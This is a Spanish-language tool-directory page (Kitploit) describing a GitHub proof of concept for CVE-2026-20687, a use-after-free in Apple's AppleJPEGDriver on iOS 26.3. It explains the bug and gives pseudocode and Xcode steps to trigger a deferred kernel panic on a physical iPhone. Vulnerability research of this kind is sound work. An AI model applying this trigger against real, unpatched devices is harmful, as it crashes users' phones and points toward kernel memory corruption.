Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/enfilade-labs/cve-2026-20687-applejpegdriver-uaf
Seguridad iOSForensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad MóvilExplotación de Binarios
GitHubenfilade-labs/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilidad del kernel de iOS/macOS que provoca un pánico diferido (A19 Pro, iOS 26.3 RC)

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-20687 — AppleJPEGDriver startDecoder Timeout UAF

CVE-2026-20687 · Enfilade · enfilade.io

Componente: Kernel

Impacto: Una app podría provocar la terminación inesperada del sistema o escribir en la memoria del kernel.

Descripción: Se solucionó un problema de use after free con una mejor gestión de la memoria.

— Contenido de seguridad de Apple, iOS 26.4 y iPadOS 26.4

Objetivo

iOS26.3 (23D125) (probado)
macOS—
ComponenteAppleJPEGDriver
ParcheadoiOS 26.4 / iPadOS 26.4
HardwareiPhone18,2 (iPhone 17 Pro Max, A19 Pro)

Advertencia

Ejecutar el PoC provocará un kernel panic en el dispositivo. Guarda tu trabajo antes de ejecutarlo. Los panics repetidos pueden causar corrupción del sistema de archivos. Solo para fines de investigación de seguridad.

Vulnerabilidad

La ruta de timeout en startDecoder_sync libera una solicitud pero deja su puntero de nodo de cola incrustado en el vector por códec. Una posterior recorrida de la cola desreferencia el nodo obsoleto y el kernel entra en panic bajo la verificación de etiquetas MTE. El panic normalmente se difiere hasta que se ejecuta una decodificación JPEG síncrona posterior — en iPhone esto ocurre de forma fiable cuando se abre la app Cámara.

Prueba de concepto

root@kitploit:~
// Prepara el driver; el panic normalmente se difiere hasta que se abre Cámara.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
    startDecoder_async();                   // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);

// Más tarde, abrir Cámara desencadena:
startDecoder_sync();
    queue_io_gated: vector.push(req + 0x78);
    wait(10s) -> TIMEOUT;
    pool_free(req);                         // BUG: NO hace dequeue (req + 0x78)

// Aún más tarde (finish_io_gated):
fullSpeedRequestExist():
    node_ptr = vector[i];                   // obsoleto: node_ptr == (req liberado + 0x78)
    req2 = *(node_ptr + 0x8);               // lectura UAF -> fallo de etiqueta MTE -> panic

Compilar y ejecutar

  1. Abre ios-app/Test.xcodeproj en Xcode.
  2. Selecciona un dispositivo iOS físico (el simulador no alcanzará el driver).
  3. Compila, ejecuta y toca Panic (prepara el driver y pone en cola trabajo asíncrono).
  4. Abre la app Cámara para desencadenar el panic diferido.

Licencia

Consulta LICENSE.

Descargar herramienta